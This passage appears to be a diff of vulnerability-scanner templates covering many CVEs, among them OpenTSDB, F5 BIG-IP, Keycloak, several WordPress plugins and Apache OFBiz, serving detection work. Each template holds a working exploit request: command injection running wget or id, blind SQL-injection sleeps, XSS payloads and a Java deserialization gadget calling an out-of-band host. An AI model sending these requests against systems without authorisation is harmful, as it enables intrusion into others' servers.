+    OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
   reference:
     - https://github.com/OpenTSDB/opentsdb/issues/2051
     - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
+    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2020-35476
     cwe-id: CWE-78
-  tags: cve,cve2020,opentsdb,rce
+  metadata:
+    verified: true
+    shodan-query: html:"OpenTSDB"
+  tags: cve,cve2020,opentsdb,rce,packetstorm
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
+      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
+
     matchers-condition: and
     matchers:
-      - type: status
-        status:
-          - 200
 
       - type: word
+        part: body
         words:
           - plotted
           - timing
           - cachehit
-        part: body
         condition: and
 
       - type: word
+        part: header
         words:
           - application/json
-        part: header
 
-# Enhanced by mp on 2022/04/28
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-35729.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-35729
 
 info:
-  name: Klog Server <=2.41- Unauthenticated Command Injection
+  name: Klog Server <=2.41 - Unauthenticated Command Injection
   author: dwisiswant0
   severity: critical
   description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.

cves/2020/CVE-2020-35846.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-35846
 
 info:
-  name: Agentejo Cockpit < 0.11.2 NoSQL Injection
+  name: Agentejo Cockpit < 0.11.2 - NoSQL Injection
   author: dwisiswant0
   severity: critical
   description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.

cves/2020/CVE-2020-35847.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-35847
 
 info:
-  name: Agentejo Cockpit <0.11.2 NoSQL Injection
+  name: Agentejo Cockpit <0.11.2 - NoSQL Injection
   author: dwisiswant0
   severity: critical
   description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.

cves/2021/CVE-2021-20114.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-20114
 
 info:
-  name: TCExam <= 14.8.1 Sensitive Information Exposure
+  name: TCExam <= 14.8.1 - Sensitive Information Exposure
   author: push4d
   severity: high
   description: When installed following the default/recommended settings, TCExam <= 14.8.1 allowed unauthenticated users to access the /cache/backup/ directory, which includes sensitive database backup files.

cves/2021/CVE-2021-20323.yaml

@@ -0,0 +1,56 @@
+id: CVE-2021-20323
+
+info:
+  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
+  author: ndmalc
+  severity: medium
+  description: |
+    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
+  reference:
+    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
+    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
+    - https://access.redhat.com/security/cve/CVE-2021-20323
+    - https://github.com/ndmalc/CVE-2021-20323
+    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-20323
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: html:"Keycloak"
+    verified: "true"
+  tags: cve,cve2021,keycloak,xss
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
+      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
+      - "{{BaseURL}}/realms/master/clients-registrations/default"
+      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
+
+    headers:
+      Content-Type: application/json
+
+    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 400
+
+# Enhanced by md on 2023/01/06

cves/2021/CVE-2021-21087.yaml

@@ -1,4 +1,4 @@
-id: unpatched-coldfusion
+id: CVE-2021-21087
 
 info:
   name: Adobe ColdFusion - Remote Code Execution

cves/2021/CVE-2021-22986.yaml

@@ -1,19 +1,18 @@
 id: CVE-2021-22986
-
 info:
-  name: F5 BIG-IP iControl REST - Remote Command Execution
+  name: F5 BIG-IP iControl REST unauthenticated RCE
   author: rootxharsh,iamnoooob
   severity: critical
-  description: F5 BIG-IP iControl REST interface is susceptible to an unauthenticated remote command execution vulnerability.
+  description: The iControl REST interface has an unauthenticated remote command execution vulnerability.
   reference:
     - https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
     - https://support.f5.com/csp/article/K03009991
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22986
+    - http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2021-22986
-  tags: bigip,cve,cve2021,rce,mirai,kev
+  tags: bigip,cve,cve2021,rce,kev,packetstorm
 
 requests:
   - raw:
@@ -24,6 +23,7 @@ requests:
         Authorization: Basic YWRtaW46
         Content-Type: application/json
         Cookie: BIGIPAuthCookie=1234
+        Connection: close
 
         {"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
       - |
@@ -32,6 +32,7 @@ requests:
         Accept-Language: en
         X-F5-Auth-Token: {{token}}
         Content-Type: application/json
+        Connection: close
 
         {"command":"run","utilCmdArgs":"-c id"}
 
@@ -43,7 +44,6 @@ requests:
         group: 1
         regex:
           - "([A-Z0-9]{26})"
-
       - type: regex
         part: body
         group: 1
@@ -56,5 +56,3 @@ requests:
           - "commandResult"
           - "uid="
         condition: and
-
-# Enhanced by mp on 2022/05/05

cves/2021/CVE-2021-24227.yaml

@@ -1,18 +1,15 @@
 id: CVE-2021-24227
 
 info:
-  name: Patreon WordPress < 1.7.0 - Unauthenticated Local File Disclosure
+  name: Patreon WordPress  <1.7.0 - Unauthenticated Local File Inclusion
   author: theamanrawat
   severity: high
-  description: The Jetpack Scan team identified a Local File Disclosure vulnerability
-    in the Patreon WordPress plugin before 1.7.0 that could be abused by anyone visiting
-    the site. Using this attack vector, an attacker could leak important internal
-    files like wp-config.php, which contains database credentials and cryptographic
-    keys used in the generation of nonces and cookies.
+  description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
   reference:
     - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016
     - https://wordpress.org/plugins/patreon-connect/
     - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24227
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
@@ -34,3 +31,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2023/01/15

cves/2021/CVE-2021-24827.yaml

@@ -0,0 +1,39 @@
+id: CVE-2021-24827
+
+info:
+  name: WordPress Asgaros Forum <1.15.13 - SQL Injection
+  author: theamanrawat
+  severity: critical
+  description: |
+    WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
+    - https://wordpress.org/plugins/asgaros-forum/
+    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-24827
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve2022,wp-plugin,asgaros-forum,unauth,wpscan,cve,wordpress,wp,sqli
+
+requests:
+  - raw:
+      - |
+        @timeout: 15s
+        GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "asgarosforum")'
+        condition: and
+
+# Enhanced by md on 2023/01/06

cves/2021/CVE-2021-24946.yaml

@@ -0,0 +1,38 @@
+id: CVE-2021-24946
+
+info:
+  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
+  author: theamanrawat
+  severity: critical
+  description: |
+    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
+    - https://wordpress.org/plugins/modern-events-calendar-lite/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-24946
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2021,sqli,modern-events-calendar-lite
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200 || status_code == 500'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
+        condition: and
+
+# Enhanced by md on 2023/01/06

cves/2021/CVE-2021-24997.yaml

@@ -18,7 +18,7 @@ info:
   tags: wordpress,guppy,api,cve2021,cve,wp-plugin,edb,wpscan
 
 requests:
-  - method:
+  - method: GET
     path:
       - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="
 

cves/2021/CVE-2021-25099.yaml

@@ -0,0 +1,40 @@
+id: CVE-2021-25099
+
+info:
+  name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
+  author: theamanrawat
+  severity: medium
+  description: |
+    WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
+    - https://wordpress.org/plugins/give/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-25099
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: wp-plugin,wp,give,unauth,wordpress,cve2021,xss,wpscan,cve
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "<script>alert(document.domain)</script>")'
+          - 'contains(body, "give_user_login")'
+        condition: and
+
+# Enhanced by md on 2023/01/06

cves/2021/CVE-2021-28151.yaml

@@ -39,21 +39,17 @@ requests:
 
     matchers-condition: and
     matchers:
+      - type: regex
+        regex:
+          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+          - "application/x-www-form-urlencoded"
+        condition: or
+
       - type: status
         status:
           - 200
-
-      - type: word
-        words:
-          - "text/html"
-        part: header
-
-      - type: word
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        part: body
-        condition: and
-
-# Enhanced by mp on 2022/07/15

cves/2021/CVE-2021-30128.yaml

@@ -0,0 +1,58 @@
+id: CVE-2021-30128
+
+info:
+  name: Apache OFBiz <17.12.07 - Arbitrary Code Execution
+  author: For3stCo1d
+  severity: critical
+  description: Apache OFBiz has unsafe deserialization prior to 17.12.07 version
+  reference:
+    - https://lists.apache.org/thread.html/rbe8439b26a71fc3b429aa793c65dcc4a6e349bc7bb5010746a74fa1d@%3Ccommits.ofbiz.apache.org%3E
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-30128
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743%40%3Cdev.ofbiz.apache.org%3E
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743@%3Cdev.ofbiz.apache.org%3E
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-30128
+    cwe-id: CWE-502
+  metadata:
+    fofa-query: app="Apache_OFBiz"
+    verified: "true"
+  tags: cve,cve2021,apache,ofbiz,deserialization,rce
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/SOAPService HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
+          <soapenv:Header/>
+            <soapenv:Body>
+              <ser>
+                <map-Map>
+                  <map-Entry>
+                    <map-Key>
+                      <cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</cus-obj>
+                    </map-Key>
+                  <map-Value>
+                <std-String/>
+                </map-Value>
+                </map-Entry>
+              </map-Map>
+              </ser>
+            </soapenv:Body>
+        </soapenv:Envelope>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: body
+        words:
+          - 'value="errorMessage"'